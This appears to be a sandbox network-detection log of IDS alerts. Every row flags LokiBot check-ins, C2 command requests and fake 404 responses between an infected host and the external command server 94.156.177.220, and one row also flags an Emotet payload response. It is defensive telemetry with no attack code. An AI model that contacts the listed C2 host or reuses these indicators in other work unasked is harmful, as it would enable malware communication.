2024-10-24T08:47:00.299934+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:00.299934+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:00.305973+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49222	TCP
2024-10-24T08:47:00.514142+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:00.514142+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:00.514142+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:01.467081+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:01.467081+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:01.472717+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49223	TCP
2024-10-24T08:47:02.970814+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:02.970814+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:02.970814+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:03.911969+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:03.911969+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:03.917655+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49224	TCP
2024-10-24T08:47:04.071738+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:04.071738+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:04.071738+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:05.015239+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:05.015239+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:05.022620+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49225	TCP
2024-10-24T08:47:05.171077+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:05.171077+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:05.171077+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:06.127566+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:06.127566+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:06.133237+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49226	TCP
2024-10-24T08:47:06.288133+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:06.288133+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:06.288133+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:07.235602+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:07.235602+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:07.249824+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49227	TCP
2024-10-24T08:47:07.393228+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:07.393228+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:07.393228+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:08.350903+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:08.350903+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:08.358221+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49228	TCP
2024-10-24T08:47:08.518293+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:08.518293+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:08.518293+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:09.473326+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:09.473326+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:09.479147+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49229	TCP
2024-10-24T08:47:09.627438+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:09.627438+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:09.627438+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:10.574642+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:10.574642+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:10.580452+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49230	TCP
2024-10-24T08:47:10.737748+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:10.737748+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:10.737748+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:11.695700+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:11.695700+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:11.701224+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49231	TCP
2024-10-24T08:47:11.855700+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:11.855700+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:11.855700+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:12.799153+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:12.799153+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:12.804788+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49232	TCP
2024-10-24T08:47:12.955608+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:12.955608+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:12.955608+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:14.031658+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:14.031658+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:14.038314+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49233	TCP
2024-10-24T08:47:14.230832+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:14.230832+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:14.230832+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:15.182608+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:15.182608+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:15.188153+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49234	TCP
2024-10-24T08:47:15.332422+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:15.332422+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:15.332422+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:16.271864+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:16.271864+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:16.278079+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49235	TCP
2024-10-24T08:47:16.428303+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:16.428303+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:16.428303+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:17.383378+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:17.383378+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:17.389330+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49236	TCP
2024-10-24T08:47:17.547052+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:17.547052+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:17.547052+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:18.474819+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:18.474819+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:18.480750+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49237	TCP
2024-10-24T08:47:18.627837+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:18.627837+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:18.627837+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:19.574207+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:19.574207+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:19.581057+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49238	TCP
2024-10-24T08:47:19.754722+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:19.754722+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:19.754722+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:20.702266+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:20.702266+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:20.708039+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49239	TCP
2024-10-24T08:47:20.851688+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:20.851688+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:20.851688+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:21.798439+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:21.798439+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:21.804175+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49240	TCP
2024-10-24T08:47:22.015332+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:22.015332+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:22.015332+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:22.966218+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:22.966218+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:22.972650+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49241	TCP
2024-10-24T08:47:23.119040+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:23.119040+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:23.119040+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:24.081988+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:24.081988+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:24.087813+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49242	TCP
2024-10-24T08:47:24.247331+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:24.247331+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:24.247331+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:25.191206+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:25.191206+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:25.198524+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49243	TCP
2024-10-24T08:47:25.347820+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:25.347820+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:25.347820+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:26.304249+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:26.304249+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:26.310070+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49244	TCP
2024-10-24T08:47:26.454873+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:26.454873+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:26.454873+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:27.421647+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:27.421647+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:27.427377+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49245	TCP
2024-10-24T08:47:27.639729+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:27.639729+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:27.639729+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:28.598214+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:28.598214+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:28.606339+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49246	TCP
2024-10-24T08:47:28.606339+0200	2035065	ET MALWARE W32/Emotet.v4 Checkin Fake 404 Payload Response	1	94.156.177.220	80	192.168.2.22	49246	TCP
2024-10-24T08:47:28.744434+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:28.744434+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:28.744434+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:29.692195+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:29.692195+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:29.699203+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49247	TCP
2024-10-24T08:47:29.996929+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:29.996929+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:29.996929+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:30.943851+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:30.943851+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:30.950973+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49248	TCP
2024-10-24T08:47:31.153128+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:31.153128+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:31.153128+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:32.217248+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:32.217248+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:32.223424+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49249	TCP
2024-10-24T08:47:32.364981+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:32.364981+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:32.364981+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:33.316783+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:33.316783+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:33.322651+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49250	TCP
2024-10-24T08:47:33.527794+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:33.527794+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:33.527794+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:34.466932+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:34.466932+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:34.472518+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49251	TCP
2024-10-24T08:47:34.612892+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:34.612892+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:34.612892+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:36.171721+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:36.171721+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:36.171800+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49252	TCP
2024-10-24T08:47:36.386309+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:36.386309+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:36.386309+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:37.350269+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:37.350269+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:37.356119+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49253	TCP
2024-10-24T08:47:37.498724+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:37.498724+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:37.498724+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:38.481255+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:38.481255+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:38.486944+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49254	TCP
2024-10-24T08:47:38.645072+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:38.645072+0200	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:38.645072+0200	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:39.590691+0200	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:39.590691+0200	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:39.597242+0200	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49255	TCP
2024-10-24T08:47:39.740085+0200	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49256	94.156.177.220	80	TCP
